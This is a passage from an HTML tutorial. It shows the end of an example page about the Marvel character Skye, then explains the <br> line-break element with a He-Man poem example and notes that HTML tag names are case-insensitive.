<h3>Hacker</h3>
<p>Skye starts out as a brilliant hacker, using her skills to uncover secrets and fight for justice from the shadows. Her curiosity and determination make her a force to be reckoned with. Even before joining S.H.I.E.L.D., she proves she can challenge the system.</p>
<h3>Agent</h3>
<p>Joining S.H.I.E.L.D., Skye becomes a trained field agent, learning to balance her intellect with physical skill. She adapts quickly to missions, proving her value to the team. Her loyalty and resourcefulness grow stronger with every challenge.</p>
<h3>Daughter</h3>
<p>Skye discovers her true identity as Daisy Johnson, the daughter of a powerful Inhuman. This revelation reshapes her understanding of herself and her powers. She struggles but ultimately embraces her heritage, gaining confidence and purpose.</p>
<h3>Leader</h3>
<p>Over time, Skye evolves into a capable leader, guiding missions and protecting her team. Her experience as both an outsider and a hero gives her unique insight. She inspires others through courage, empathy, and decisiveness.</p>
<h3>Quake</h3>
<p>Fully embracing her abilities, Skye becomes Quake, wielding seismic powers to combat threats. She balances heroism with personal growth, using her strength to defend the world. Quake is the culmination of her journey, symbolizing resilience, power, and identity.</p>
</body>
</html>Interesting to note that the paragraphs inside a heading are not nested inside it.
Now comes the <br> element.
It forces a line break in the text.
It is an empty element, meaning it has no content.
This implies it does not need nor have an end tag.
In the example below, the poem has two versions: in the first one, the line breaks are only in the source code, and the second version forces them with <br>.
Only the second one gets the expected result (well, at least on a big screen).
br.html ≡
<!DOCTYPE html>
<html>
<head>
<title>br, but not for Brazil</title>
</head>
<body>
<p>He-Man stands tall, sword held high,
Shadows flee where his heroes fly.
In Eternia’s heart, he lights the night,
Strength and courage his endless might.</p>
<p>He-Man stands tall, sword held high,<br>
Shadows flee where his heroes fly.<br>
In Eternia’s heart, he lights the night,<br>
Strength and courage his endless might.</p>
</body>
</html>Now is a good time to note that the tag names are case-insensitive. Very sensible of forgiving HTML. But (there’s always one (well, not always)) lowercase is recommended in general and demanded for stricter document types like XHTML. Let’s keep it down low then.



























































